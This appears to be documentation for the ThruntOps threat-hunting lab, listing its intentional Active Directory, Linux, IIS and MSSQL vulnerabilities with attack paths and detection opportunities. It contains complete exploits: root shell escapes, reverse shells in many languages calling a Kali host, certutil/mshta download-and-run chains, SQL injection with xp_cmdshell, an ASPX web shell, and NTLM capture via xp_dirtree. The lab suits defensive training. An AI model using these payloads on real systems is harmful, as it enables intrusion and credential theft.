Vulnerabilities
Attack surface and intentional vulnerability classes present in the ThruntOps lab.
Table of contents
- Active Directory
- Linux Privilege Escalation
- SUID R — Shell Escape to Root (gitlab)
- SUID apt-get — Shell Escape to Root (gitlab)
- SUID less — Shell Escape to Root (gitlab)
- SUID rsync — Shell Escape to Root (gitlab)
- sudo ansible-playbook — Shell Escape to Root (ops)
- sudo ansible-test — Shell Escape to Root (ops)
- sudo certbot — Shell Escape to Root (ops)
- sudo watch — Shell Escape to Root (ops)
- Reverse Shells
- Windows Reverse Shells
- Linux Capabilities
- Web Application
- MSSQL
- By Technology
- Notes
Active Directory
Credential Reuse — Domain User to Domain Admin
| Field | Detail |
|---|---|
| Accounts affected | primary_user01 (thruntops.domain), secondary_user01 (secondary.thruntops.domain) |
| Condition | These accounts share the exact password of their respective domainadmin |
| Primitive | Low-privilege domain user credential → Domain Admin via password reuse |
| MITRE ATT&CK | T1078.002 — Valid Accounts: Domain Accounts |
| Related techniques | T1110.001 — Brute Force: Password Guessing, T1110.004 — Credential Stuffing |
Attack path:
Compromise primary_user01 (low-priv)
→ Recover plaintext / NTLM hash
→ Reuse credential against domainadmin
→ Full domain compromise (T1078.002)
Detection opportunities:
- Logon event with
domainadminoriginating from a workstation (Event ID 4624, logon type 3/10) - Same NTLM hash seen across accounts of different privilege levels (requires credential dumping detection — T1003)
- Lateral movement from workstation to DC using admin credentials (Event ID 4769 / Kerberos TGS request for privileged service)
RDP Access to Domain Controllers — Low-Privilege User
| Field | Detail |
|---|---|
| Accounts affected | primary_user02 (thruntops.domain → DC01-2022), secondary_user02 (secondary.thruntops.domain → DC01-SEC) |
| Condition | Low-privilege domain users are members of the Remote Desktop Users group on their respective domain controller |
| Primitive | Interactive session on a DC as a non-admin — enables local enumeration, memory access attempts, and token abuse |
| MITRE ATT&CK | T1021.001 — Remote Services: Remote Desktop Protocol |
| Related techniques | T1078.002 — Valid Accounts: Domain Accounts, T1003.001 — OS Credential Dumping: LSASS Memory |
Attack path:
Compromise primary_user02 (low-priv)
→ RDP to DC01-2022 (T1021.001)
→ Interactive session on DC — LSASS in scope (T1003.001)
→ Dump credentials / escalate to Domain Admin
Detection opportunities:
- RDP logon to DC from non-admin account (Event ID 4624, logon type 10, source non-admin)
- Interactive session on DC from workstation IP (Event ID 4778 / 4779 — session connect/disconnect)
- Process creation under non-admin account on DC (Sysmon Event ID 1)
LAPS Password Read — Low-Privilege Domain User
| Field | Detail |
|---|---|
| Accounts affected | primary_user03 (thruntops.domain), secondary_user03 (secondary.thruntops.domain) |
| Condition | Set-LapsADReadPasswordPermission granted on the domain root — these users can read msLAPS-Password on any workstation in their domain |
| Primitive | Low-privilege domain user reads LAPS-managed local admin password → local admin on any workstation |
| MITRE ATT&CK | T1555 — Credentials from Password Stores |
| Related techniques | T1078.002 — Valid Accounts: Domain Accounts, T1021.001 — Remote Services: RDP |
Attack path:
Compromise primary_user03 (low-priv)
→ Query LAPS: Get-LapsADPassword -Identity WIN11-22H2-1 (T1555)
→ Recover localuser password for target workstation
→ RDP / lateral movement as local admin (T1021.001)
Detection opportunities:
- Read access to
msLAPS-Passwordattribute by non-admin account (AD audit — Event ID 4662, object access on computer object) Get-LapsADPasswordor LDAP query formsLAPS-Passwordfrom non-privileged context
RDP Access to ADCS — Low-Privilege Domain User
| Field | Detail |
|---|---|
| Accounts affected | primary_user04 (thruntops.domain), secondary_user04 (secondary.thruntops.domain) |
| Condition | Low-privilege domain users from both domains are members of Remote Desktop Users on the Certificate Authority (ADCS VM) |
| Primitive | Interactive session on the CA — enables certificate template enumeration, ESC abuse, and potential CA private key access |
| MITRE ATT&CK | T1021.001 — Remote Services: Remote Desktop Protocol |
| Related techniques | T1649 — Steal or Forge Authentication Certificates, T1078.002 — Valid Accounts: Domain Accounts |
Attack path:
Compromise primary_user04 (low-priv)
→ RDP to ADCS (T1021.001)
→ Enumerate certificate templates — identify ESC misconfigurations
→ Request malicious certificate (T1649)
→ Authenticate as Domain Admin using certificate
Detection opportunities:
- RDP logon to ADCS from non-admin account (Event ID 4624, logon type 10)
- Certificate enrollment from unexpected account (Event ID 4886 / 4887 — certificate issued)
- Certify / Certipy tooling signatures in process creation logs (Sysmon Event ID 1)
Linux Privilege Escalation
Entry points: secondary_user06 → gitlab (10.2.50.15), primary_user06 → ops (10.2.50.2).
SUID R — Shell Escape to Root (gitlab)
| Field | Detail |
|---|---|
| Host | gitlab (10.2.50.15) |
| Entry point | secondary_user06 (SSH, no sudo) |
| Condition | /usr/bin/R has SUID root bit set |
| Primitive | R spawns a shell inheriting the SUID effective UID → root shell |
| GTFOBins | R — SUID |
| MITRE ATT&CK | T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid |
Exploit:
R --no-save -e 'system("/bin/sh")'
Attack path:
SSH as secondary_user06 (no sudo)
→ Discover SUID binaries: find / -perm -4000 -type f 2>/dev/null
→ Identify /usr/bin/R with SUID root
→ R --no-save -e 'system("/bin/sh")' → root shell (T1548.001)
Detection opportunities:
Rprocess spawned by a non-root user with effective UID 0 (Sysmon/auditd — process creation with euid=0)/bin/shchild ofRprocess owned by non-root user- SUID binary execution outside expected administrative context
SUID apt-get — Shell Escape to Root (gitlab)
| Field | Detail |
|---|---|
| Host | gitlab (10.2.50.15) |
| Entry point | secondary_user06 (SSH, no sudo) |
| Condition | /usr/bin/apt-get has SUID root bit set |
| Primitive | apt-get pre-invoke hook executes an arbitrary command as root before the package operation runs |
| GTFOBins | apt-get — SUID |
| MITRE ATT&CK | T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid |
Exploit:
# Method 1 — Pre-Invoke option (shell exits, then update runs)
apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# Method 2 — Dpkg pre-invoke config (package must not be installed)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > /tmp/x
apt-get -y install -c /tmp/x sl
Attack path:
SSH as secondary_user06 (no sudo)
→ Discover SUID binaries: find / -perm -4000 -type f 2>/dev/null
→ Identify /usr/bin/apt-get with SUID root
→ apt-get update -o APT::Update::Pre-Invoke::=/bin/sh → root shell (T1548.001)
Detection opportunities:
apt-getprocess spawned by non-root user with effective UID 0/bin/shchild ofapt-getoutside expected maintenance window-o APT::Update::Pre-InvokeorDpkg::Pre-Invokein process arguments (Sysmon/auditd)
SUID less — Shell Escape to Root (gitlab)
| Field | Detail |
|---|---|
| Host | gitlab (10.2.50.15) |
| Entry point | secondary_user06 (SSH, no sudo) |
| Condition | /usr/bin/less has SUID root bit set |
| Primitive | less shell escape via ! command executes a shell with the SUID effective UID |
| GTFOBins | less — SUID |
| MITRE ATT&CK | T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid |
Exploit:
less /etc/hosts
!/bin/sh
Attack path:
SSH as secondary_user06 (no sudo)
→ Discover SUID binaries: find / -perm -4000 -type f 2>/dev/null
→ Identify /usr/bin/less with SUID root
→ less /etc/hosts → !/bin/sh → root shell (T1548.001)
Detection opportunities:
lessspawning/bin/shas child process with euid=0 (Sysmon/auditd)- Shell process with effective UID 0 parented to a pager binary
SUID rsync — Shell Escape to Root (gitlab)
| Field | Detail |
|---|---|
| Host | gitlab (10.2.50.15) |
| Entry point | secondary_user06 (SSH, no sudo) |
| Condition | /usr/bin/rsync has SUID root bit set |
| Primitive | rsync -e flag specifies a custom remote shell command — used to spawn a privileged shell via -p |
| GTFOBins | rsync — SUID |
| MITRE ATT&CK | T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid |
Exploit:
rsync -e '/bin/sh -p -c "/bin/sh -p 0<&2 1>&2"' x:x
Attack path:
SSH as secondary_user06 (no sudo)
→ Discover SUID binaries: find / -perm -4000 -type f 2>/dev/null
→ Identify /usr/bin/rsync with SUID root
→ rsync -e '/bin/sh -p -c "/bin/sh -p 0<&2 1>&2"' x:x → root shell (T1548.001)
Detection opportunities:
rsyncprocess with-eargument containing/bin/sh(Sysmon/auditd process arguments)/bin/sh -pspawned with euid=0 from rsync parent
sudo ansible-playbook — Shell Escape to Root (ops)
| Field | Detail |
|---|---|
| Host | ops (10.2.50.2) |
| Entry point | primary_user06 (SSH, restricted sudo) |
| Condition | primary_user06 can run /usr/bin/ansible-playbook with sudo (NOPASSWD) |
| Primitive | ansible-playbook executes an arbitrary playbook as root — task with shell module spawns a root shell |
| GTFOBins | ansible-playbook — sudo |
| MITRE ATT&CK | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching |
Exploit:
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' > /tmp/x
sudo ansible-playbook /tmp/x
Detection opportunities:
ansible-playbookexecuted via sudo by non-admin user (auditd syscall execve, euid=0)- Playbook path in
/tmpor user-writable directory
sudo ansible-test — Shell Escape to Root (ops)
| Field | Detail |
|---|---|
| Host | ops (10.2.50.2) |
| Entry point | primary_user06 (SSH, restricted sudo) |
| Condition | primary_user06 can run /usr/bin/ansible-test with sudo (NOPASSWD) |
| Primitive | ansible-test shell drops to an interactive shell as root |
| GTFOBins | ansible-test — sudo |
| MITRE ATT&CK | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching |
Exploit:
sudo ansible-test shell
Detection opportunities:
ansible-test shellexecuted via sudo (auditd)- Interactive shell spawned from ansible-test with euid=0
sudo certbot — Shell Escape to Root (ops)
| Field | Detail |
|---|---|
| Host | ops (10.2.50.2) |
| Entry point | primary_user06 (SSH, restricted sudo) |
| Condition | primary_user06 can run /usr/bin/certbot with sudo (NOPASSWD) |
| Primitive | certbot --pre-hook flag executes an arbitrary command as root before the certificate operation |
| GTFOBins | certbot — sudo |
| MITRE ATT&CK | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching |
Exploit:
sudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x \
--logs-dir /tmp --work-dir /tmp --config-dir /tmp \
--pre-hook '/bin/sh 1>&0 2>&0'
Detection opportunities:
certbotexecuted via sudo with--pre-hookargument (auditd process arguments)/bin/shchild of certbot with euid=0
sudo watch — Shell Escape to Root (ops)
| Field | Detail |
|---|---|
| Host | ops (10.2.50.2) |
| Entry point | primary_user06 (SSH, restricted sudo) |
| Condition | primary_user06 can run /usr/bin/watch with sudo (NOPASSWD) |
| Primitive | watch executes the given command — passing a shell reset sequence drops to a root shell |
| GTFOBins | watch — sudo |
| MITRE ATT&CK | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching |
Exploit:
sudo watch 'reset; exec /bin/sh 1>&0 2>&0'
Detection opportunities:
watchexecuted via sudo with shell payload in command argument (auditd)/bin/shchild of watch with euid=0
Reverse Shells
Available on both Linux hosts: gitlab (10.2.50.15) and ops (10.2.50.2).
Prerequisites: Kali must be deployed and reachable at 10.2.50.250.
bash scripts/add-kali.sh # if not already deployed
Shell upgrade (run after catching any reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
PHP
# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 2. Payload — target Linux host
php -r '$s=fsockopen("10.2.50.250",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 2. Payload — target Linux host
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.2.50.250","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Python
# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 2. Payload — target Linux host
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.2.50.250",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Node.js
# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 2. Payload — target Linux host
node -e 'var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var c=new net.Socket();c.connect(4444,"10.2.50.250",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'
tclsh
# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 2. Payload — target Linux host
echo 'set s [socket 10.2.50.250 4444];fconfigure $s -translation binary -buffering full;set p [open "|/bin/sh -i" r+];fconfigure $p -translation binary -buffering full;fileevent $s readable "set d [read $s];puts -nonewline $p $d;flush $p";fileevent $p readable "set d [read $p];puts -nonewline $s $d;flush $s";vwait forever' | tclsh
Perl
# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 2. Payload — target Linux host
perl -e 'use Socket;$i="10.2.50.250";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Windows Reverse Shells
Available on all domain-joined Windows VMs: DC01-2022 (10.2.50.11), DC01-SEC (10.2.50.12), ADCS (10.2.50.13), WEB (10.2.50.14), WIN11-22H2-1 (10.2.50.21), WIN11-22H2-2 (10.2.50.22).
Prerequisites: Kali at 10.2.50.250. For download-based payloads, start an HTTP server on Kali first:
# Kali — serve files from current working directory
python3 -m http.server 8080
PowerShell
# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 2. Payload — target Windows host (cmd or PS prompt)
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('10.2.50.250',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($n=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$n);$r=(iex $d 2>&1|Out-String);$rb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()"
mshta.exe
mshta executes HTML Application (.hta) files — VBScript/JScript runs with the full scripting host trust level, bypassing browser security zones.
# 1. Create shell.hta — Kali
cat > shell.hta << 'EOF'
<html><head><script language="VBScript">
Set oShell = CreateObject("WScript.Shell")
oShell.Run "powershell -nop -w hidden -c ""$c=New-Object Net.Sockets.TCPClient('10.2.50.250',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($n=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$n);$r=(iex $d 2>&1|Out-String);$rb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()""", 0, False
self.close
</script></head></html>
EOF
# 2. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 3. HTTP server — Kali (same directory as shell.hta)
python3 -m http.server 8080
# 4. Execute — target Windows host (cmd prompt)
mshta http://10.2.50.250:8080/shell.hta
certutil
certutil is a built-in Windows certificate utility — its -urlcache flag downloads arbitrary files from HTTP.
# 1. Create shell.ps1 — Kali
cat > shell.ps1 << 'EOF'
$c=New-Object Net.Sockets.TCPClient('10.2.50.250',4444)
$s=$c.GetStream()
[byte[]]$b=0..65535|%{0}
while(($n=$s.Read($b,0,$b.Length)) -ne 0){
$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$n)
$r=(iex $d 2>&1|Out-String)
$rb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ')
$s.Write($rb,0,$rb.Length);$s.Flush()
}
$c.Close()
EOF
# 2. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 3. HTTP server — Kali (same directory as shell.ps1)
python3 -m http.server 8080
# 4. Download and execute — target Windows host (cmd prompt)
certutil -urlcache -split -f http://10.2.50.250:8080/shell.ps1 C:\Windows\Temp\shell.ps1
powershell -nop -f C:\Windows\Temp\shell.ps1
cscript
cscript runs Windows Script Host files in console mode — output is written to the calling terminal window.
# 1. Create shell.js — Kali
cat > shell.js << 'EOF'
var s = new ActiveXObject("WScript.Shell");
s.Run("powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('10.2.50.250',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($n=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$n);$r=(iex $d 2>&1|Out-String);$rb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()\"", 0, false);
EOF
# 2. Listener — Kali (10.2.50.250)
nc -lvnp 4444
# 3. HTTP server — Kali (same directory as shell.js)
python3 -m http.server 8080
# 4. Download and execute — target Windows host (cmd prompt)
certutil -urlcache -split -f http://10.2.50.250:8080/shell.js C:\Windows\Temp\shell.js
cscript //nologo C:\Windows\Temp\shell.js
wscript
wscript runs the same Windows Script Host files in GUI (windowless) mode — no console window appears on the target host.
# 1–3. Same as cscript — create shell.js on Kali, start listener, start HTTP server
# 4. Download and execute (windowless) — target Windows host (cmd prompt)
certutil -urlcache -split -f http://10.2.50.250:8080/shell.js C:\Windows\Temp\shell.js
wscript //nologo C:\Windows\Temp\shell.js
Linux Capabilities
cap_gdb — CAP_SETUID → Root Shell (ops)
| Field | Detail |
|---|---|
| Host | ops (10.2.50.2) |
| Entry point | Any user with SSH access (no sudo required) |
| Condition | /usr/bin/gdb has cap_setuid+eip capability set |
| Primitive | gdb’s Python interpreter calls os.setuid(0) — capability allows the setuid syscall without SUID bit — then drops to a root shell |
| GTFOBins | gdb — Capabilities |
| MITRE ATT&CK | T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid |
Exploit:
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit /dev/null
Attack path:
SSH as any user (no sudo)
→ Enumerate capabilities: getcap -r / 2>/dev/null
→ Identify /usr/bin/gdb with cap_setuid+eip
→ gdb Python: os.setuid(0) → !sh → root shell (T1548.001)
Detection opportunities:
gdbprocess spawning/bin/shwith euid=0 from non-root user (auditd execve, euid field)getcapenumeration on the filesystem (process arguments)- Python
setuidsyscall from gdb context
cap_gzip — CAP_DAC_OVERRIDE → Arbitrary File Read (gitlab)
| Field | Detail |
|---|---|
| Host | gitlab (10.2.50.15) |
| Entry point | Any user with SSH access (no sudo required) |
| Condition | /usr/bin/gzip has cap_dac_override+eip capability set |
| Primitive | CAP_DAC_OVERRIDE bypasses DAC (Discretionary Access Control) read/write checks — gzip can read any file regardless of permissions, leaking content via compression error output |
| GTFOBins | gzip — Capabilities |
| MITRE ATT&CK | T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid |
Exploit:
# Read /etc/shadow (or any root-owned file)
LFILE=/etc/shadow
gzip -f "$LFILE" -t
Attack path:
SSH as any user (no sudo)
→ Enumerate capabilities: getcap -r / 2>/dev/null
→ Identify /usr/bin/gzip with cap_dac_override+eip
→ gzip -f /etc/shadow -t → shadow hash contents in error output (T1548.001)
Detection opportunities:
gzipaccessing files owned by root that the calling user cannot normally read (auditd openat syscall with sensitive path)getcapenumeration (process arguments)gzipinvoked with-tflag on/etc/shadow,/etc/passwd,/root/paths
Web Application
The ThruntOps internal web portal runs on WEB (10.2.50.14) via IIS + ASP.NET 4.5. The application contains three intentional vulnerability classes. Source lives in the thruntops-web GitLab project at http://10.2.50.15.
Entry point: webdev → GitLab maintainer on thruntops-web → CI/CD deploys .aspx files to WEB wwwroot via SMB.
SQL Injection — Login Bypass and RCE via xp_cmdshell (WEB)
| Field | Detail |
|---|---|
| Host | WEB (10.2.50.14) |
| Entry point | Login.aspx — unauthenticated |
| Condition | Username field is concatenated directly into a SQL WHERE clause; connection string uses SA account with xp_cmdshell available |
| Primitive | Classic string-based SQLi → authentication bypass → stacked queries → xp_cmdshell → OS command execution as MSSQL service account |
| MITRE ATT&CK | T1190 — Exploit Public-Facing Application, T1059.003 — Command and Scripting Interpreter: Windows Command Shell |
Exploit:
# Authentication bypass — Login.aspx username field
' OR '1'='1' --
# Stacked query — enable xp_cmdshell (if not already enabled)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
# OS command execution
'; EXEC xp_cmdshell 'whoami'; --
Attack path:
Login.aspx — POST username=' OR '1'='1' --
→ Authentication bypass → authenticated session
→ Stacked query: enable xp_cmdshell (T1059.003)
→ xp_cmdshell 'powershell -c <reverse shell>' → shell as MSSQL service account
Detection opportunities:
- SQL error messages or anomalous query patterns in IIS logs (single-quote characters,
--comments, EXEC keywords) sp_configureorxp_cmdshellexecuted via application service account (SQL Server audit, Event ID 18456 / 33205)cmd.exeorpowershell.exespawned bysqlservr.exe(Sysmon Event ID 1)
Arbitrary File Upload — Web Shell (WEB)
| Field | Detail |
|---|---|
| Host | WEB (10.2.50.14) |
| Entry point | Upload.aspx — authenticated (bypass login first or use valid credentials) |
| Condition | No file extension validation; files written to uploads/ under wwwroot with original filename; IIS configured to execute .aspx files in uploads/ |
| Primitive | Upload a .aspx web shell → browse to http://10.2.50.14/uploads/<shell>.aspx → arbitrary OS command execution as IIS application pool identity |
| MITRE ATT&CK | T1505.003 — Server Software Component: Web Shell |
Exploit:
<%@ Page Language="C#" %>
<% System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd()); %>
Upload shell.aspx, then:
http://10.2.50.14/uploads/shell.aspx?cmd=whoami
Attack path:
POST /Upload.aspx — multipart file: shell.aspx (ASPX web shell)
→ File saved to C:\inetpub\wwwroot\uploads\shell.aspx
→ GET /uploads/shell.aspx?cmd=powershell+-c+<payload>
→ RCE as IIS AppPool\DefaultAppPool (T1505.003)
Detection opportunities:
- New
.aspxfile created underuploads/(Sysmon Event ID 11 — file create, path matches*\uploads\*.aspx) w3wp.exespawningcmd.exeorpowershell.exe(Sysmon Event ID 1, parent imagew3wp.exe)- HTTP 200 response to a previously non-existent
.aspxpath underuploads/(IIS access log)
Directory Traversal — web.config / Credential Disclosure (WEB)
| Field | Detail |
|---|---|
| Host | WEB (10.2.50.14) |
| Entry point | View.aspx?file= — authenticated |
| Condition | file parameter is appended to a base path (~/documents/) via Server.MapPath without sanitization — ../ sequences are not stripped |
| Primitive | Traverse out of documents/ to read web.config — which contains the SA password in the connection string |
| MITRE ATT&CK | T1083 — File and Directory Discovery, T1552.001 — Unsecured Credentials: Credentials in Files |
Exploit:
GET /View.aspx?file=../web.config
web.config contains:
<add name="ThruntOps"
connectionString="Server=localhost;Database=ThruntOps;User Id=sa;Password=Sa@ThruntOps2024!;"
providerName="System.Data.SqlClient" />
Attack path:
GET /View.aspx?file=../web.config
→ Server.MapPath("~/documents/") + "../web.config"
→ Reads C:\inetpub\wwwroot\web.config
→ SA password disclosed: Sa@ThruntOps2024!
→ sqlcmd -S 10.2.50.14 -U sa -P 'Sa@ThruntOps2024!' -Q "EXEC xp_cmdshell 'whoami'"
Detection opportunities:
../in query string parameters (IIS URL scan rule / WAF pattern)web.configread byw3wp.exefrom a path that includes parent directory traversal (Sysmon Event ID 15 — file stream access, or audit object access)- Direct
sqlcmdconnection to MSSQL from unexpected source IP (SQL Server audit / network connection logs)
MSSQL
MSSQL Server 2019 runs on WEB (10.2.50.14). Mixed-mode authentication is enabled; SA account is active with a known password (Sa@ThruntOps2024! — leaked via directory traversal). The thruntops\DBA group has sysadmin rights.
xp_cmdshell — OS Command Execution via SQL (WEB)
| Field | Detail |
|---|---|
| Host | WEB (10.2.50.14) |
| Entry point | SA credentials (leaked via traversal) or thruntops\DBA group member |
| Condition | SA account is sysadmin; xp_cmdshell can be enabled via sp_configure |
| Primitive | SA or sysadmin executes OS commands as the MSSQL service account (NT SERVICE\MSSQLSERVER) |
| MITRE ATT&CK | T1059.003 — Command and Scripting Interpreter: Windows Command Shell |
Exploit:
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Execute OS command
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -nop -w hidden -c "<reverse shell>"';
Detection opportunities:
sp_configure 'xp_cmdshell'execution (SQL Server audit — Event Class: Object:Altered)sqlservr.exespawningcmd.exeorpowershell.exe(Sysmon Event ID 1)xp_cmdshellin SQL batch text (SQL Server trace / Extended Events)
NTLM Hash Capture via xp_dirtree (WEB)
| Field | Detail |
|---|---|
| Host | WEB (10.2.50.14) |
| Entry point | SA credentials or sysadmin-equivalent account |
| Condition | xp_dirtree or xp_fileexist initiates an SMB connection to an attacker-controlled host — MSSQL service account sends an NTLM authentication challenge |
| Primitive | Capture NT SERVICE\MSSQLSERVER NTLM hash → crack offline → or relay to another service |
| MITRE ATT&CK | T1187 — Forced Authentication |
Exploit:
# 1. Start Responder on Kali
responder -I eth0 -wPv
# 2. Trigger NTLM auth from MSSQL
EXEC xp_dirtree '\\10.2.50.250\share'
Detection opportunities:
xp_dirtreeorxp_fileexistwith UNC path to non-domain host (SQL Server audit)- Outbound SMB connection from WEB to attacker IP (network traffic, port 445)
- Responder / NTLM capture signatures in network logs
DBA Group → Sysadmin Escalation (WEB)
| Field | Detail |
|---|---|
| Host | WEB (10.2.50.14) |
| Entry point | primary_user07 (DBA group member, thruntops.domain) |
| Condition | thruntops\DBA AD group is mapped to the sysadmin server role in MSSQL |
| Primitive | Domain user in DBA group has full sysadmin rights on MSSQL — can enable xp_cmdshell, read all databases, impersonate any login |
| MITRE ATT&CK | T1078.002 — Valid Accounts: Domain Accounts |
Attack path:
Compromise primary_user07 credentials
→ Connect to MSSQL: sqlcmd -S 10.2.50.14 -E (Windows auth via RDP or WinRM)
→ SELECT IS_SRVROLEMEMBER('sysadmin') → 1
→ Enable xp_cmdshell → OS command execution as MSSQL service account
Detection opportunities:
- Unexpected Windows auth MSSQL login from non-service account (SQL Server audit)
IS_SRVROLEMEMBER('sysadmin')or role enumeration queriessp_configure/xp_cmdshellactivity from DBA account
By Technology
| Technology | Vectors |
|---|---|
| Active Directory (dual domain) | Credential reuse, Kerberoasting, AS-REP roasting, ACL abuse, lateral movement, trust abuse |
| ADCS | ESC1–ESC16 certificate template misconfigurations, RDP access to CA |
| IIS + ASP.NET | SQL injection (auth bypass + xp_cmdshell), arbitrary file upload (web shell), directory traversal (credential disclosure) |
| MSSQL | xp_cmdshell (OS execution), xp_dirtree (NTLM capture), DBA group → sysadmin escalation |
| GitLab CE | Source code exposure, CI/CD pipeline poisoning, hardcoded secrets in .gitlab-ci.yml, SUID privesc |
| Linux — gitlab | SUID binary abuse (R, apt-get, less, rsync), capabilities (gzip/CAP_DAC_OVERRIDE), reverse shells |
| Linux — ops | Restricted sudo escape (ansible-playbook, ansible-test, certbot, watch), capabilities (gdb/CAP_SETUID), reverse shells |
| Windows — all domain VMs | Reverse shells (PowerShell, mshta.exe, certutil, cscript, wscript) |
| Elastic SIEM | Detection engineering, alert tuning, log analysis |
Notes
- Passwords are randomised but
primary_user01/secondary_user01intentionally share their domain admin password - No password policy enforced on the domain
- ADCS is configured with intentionally misconfigured templates to enable ESC attack paths
- GitLab CI/CD pipeline deploys directly to IIS on push — pipeline poisoning surface
- Domain trust between
thruntops.domainandsecondary.thruntops.domainenables cross-domain lateral movement - Linux privesc scenarios are only present on profiles that include the relevant VM (gitlab: elastic + splunk; ops: all profiles)